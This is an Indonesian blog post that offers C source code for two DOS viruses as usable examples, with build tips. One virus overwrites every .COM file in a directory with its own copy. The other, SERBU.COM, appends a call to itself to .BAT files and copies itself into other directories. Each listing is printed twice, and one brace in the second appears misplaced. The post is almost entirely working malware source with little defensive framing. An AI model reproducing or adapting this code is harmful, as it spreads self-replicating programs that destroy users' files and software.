Salah satu contoh perintah program virus dengan bahasa C pada artikel ini adalah virus yang menimpa kedalam file COM. Berhati-hatilah menguji parogram ini, karena program virus ini akan menimpa ke semua file aplikasi dengan ekstensi .com. Pada saat Anda melakukan kompilasi program virus ini, perhatikan ukurannya, apa bila tidak sama dengan 9489 byte, ubahlah ukuran virus pada perintah program sebesar ukuran hasil kompilasi tersebut. Baiklan, ngga usah banyak basa-basi yang membosankan, inilah listing programnya.
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int i,j,yoi;
char buff[256];
struct ffblk ffblk;
main()
{
yoi = findfirst("*.COM",&ffblk,0); /* Mencari file berekstensi .COM */
while (!yoi) /* Loop untuk semua file .COM dalam direktori*/
{
printf("Jangkiti %s\n", ffblk.ff_name); /* menginformasikan pengguna*/
Virus=fopen(_argv[0],"rb"); /* buka file yang akan diinfeksi */
Host=fopen(ffblk.ff_name,"rb+"); /* buka host baru file */
i=9489; /* ukuran virus */
while (i>256)
{
fread(buff,256,1,Virus); /* potongan byte sampai */
fwrite(buff,256,1,Host); /* kiri < 256 */
i-=256;
}
fread(buff,i,1,Virus); /* selesai meng-copy */
fwrite(buff,i,1,Host);
fcloseall(); /* menutup file dan*/
yoi = findnext(&ffblk); /* pergi ke file lainnya. */
}
return (0);
}
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int i,j,yoi;
char buff[256];
struct ffblk ffblk;
main()
{
yoi = findfirst("*.COM",&ffblk,0); /* Mencari file berekstensi .COM */
while (!yoi) /* Loop untuk semua file .COM dalam direktori*/
{
printf("Jangkiti %s\n", ffblk.ff_name); /* menginformasikan pengguna*/
Virus=fopen(_argv[0],"rb"); /* buka file yang akan diinfeksi */
Host=fopen(ffblk.ff_name,"rb+"); /* buka host baru file */
i=9489; /* ukuran virus */
while (i>256)
{
fread(buff,256,1,Virus); /* potongan byte sampai */
fwrite(buff,256,1,Host); /* kiri < 256 */
i-=256;
}
fread(buff,i,1,Virus); /* selesai meng-copy */
fwrite(buff,i,1,Host);
fcloseall(); /* menutup file dan*/
yoi = findnext(&ffblk); /* pergi ke file lainnya. */
}
return (0);
}
Berikut ini juga contah perintah program virus lainnya yang menggunakan bahasa C. Program virus ini akan menjangkiti semua file yang berekstensi BAT. Kode virusnya adalah sebagai berikut:
#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* simpan direktori lama */
Pick_A_Dir(); /* temukan direktori baru */
Infect_Directory(); /* infeksikan */
chdir(old_dir); /* kembali ke direktori lama */
return 0;
}
Pick_A_Dir()
{
int yoi;
chdir("..");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi)
{
chdir("\\");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int yoi;
yoi = findfirst("*.BAT",&ffblk,0);
while (!yoi)
{
Do_Batch();
yoi = findnext(&ffblk);
}
if (findfirst("SERBU.COM",&ffblk,0)) /* jika SERBU.COM */
Copy_Virus();} /* tidak ada, copykan pada direktori*/
return 0;
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);
if (vpath[3]==0) vpath[2]=0;
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;
if (strcmp(Infection_Buffer,"SERBU.COM"))
{
fseek(batch, 0, SEEK_END);
fprintf(batch,"\n%s\\SERBU.COM",vpath);
}
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("SERBU.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk();
getcurdir(0, path+3);
return 0;
}
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* simpan direktori lama */
Pick_A_Dir(); /* temukan direktori baru */
Infect_Directory(); /* infeksikan */
chdir(old_dir); /* kembali ke direktori lama */
return 0;
}
Pick_A_Dir()
{
int yoi;
chdir("..");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi)
{
chdir("\\");
yoi=findfirst("*.BAT",&ffblk,0);
if (yoi) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int yoi;
yoi = findfirst("*.BAT",&ffblk,0);
while (!yoi)
{
Do_Batch();
yoi = findnext(&ffblk);
}
if (findfirst("SERBU.COM",&ffblk,0)) /* jika SERBU.COM */
Copy_Virus();} /* tidak ada, copykan pada direktori*/
return 0;
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);
if (vpath[3]==0) vpath[2]=0;
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;
if (strcmp(Infection_Buffer,"SERBU.COM"))
{
fseek(batch, 0, SEEK_END);
fprintf(batch,"\n%s\\SERBU.COM",vpath);
}
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("SERBU.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk();
getcurdir(0, path+3);
return 0;
}
Tidak ada komentar:
Posting Komentar